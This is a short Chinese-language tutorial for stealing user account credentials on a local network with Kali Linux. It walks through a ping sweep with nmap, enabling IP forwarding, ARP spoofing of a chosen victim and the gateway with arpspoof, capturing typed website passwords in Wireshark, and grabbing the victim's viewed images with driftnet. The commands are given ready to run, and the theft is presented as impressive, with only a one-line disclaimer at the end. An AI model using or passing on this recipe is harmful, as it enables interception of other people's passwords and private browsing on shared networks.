kali内网渗透之盗取用户账号信息(使用的是kali-linux-2020-1a)
一、查看一下自己的ip地址以及网卡信息和子网掩码,可以看到本机的ip地址为192.168.1.109,网卡为eth0
sudo ifconfig
二、利用nmap工具扫描同一局域网内的主机并选择攻击目标,这里我们选择我的另一台电脑 192.168.1.101
nmap -sP 192.168.1.0/24
三、利用ARP欺骗让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我。
1、在进行arp欺骗之前,我们要先开启本机的IP转发功能,如果不开启的话,我们攻击之后会使目标机断网,而不是欺骗。
echo 1 > /proc/sys/net/ipv4/ip_forward
2、对目标主机进行欺骗,如果没有arpspoof可以使用sudo apt-get install dsniff 安装
sudo apt-get install dsniff
arpspoof -i eth0 -t 192.168.1.101 192.168.1.1
四、使用wireshark抓取经过本机eth0网卡的数据包
五、当被攻击主机访问网站输入用户密码可以在wireshark中找到对应的数据包并取得用户名密码
六、另外做了内网欺骗后还可以截取到目标主机上浏览的图片,是不是很赞!
driftnet -i eth0
最后,此文只是向大家展示一下内网渗透的相关过程,任何人不得用于违法犯罪,否则与本人无关,安全上网,人人有责。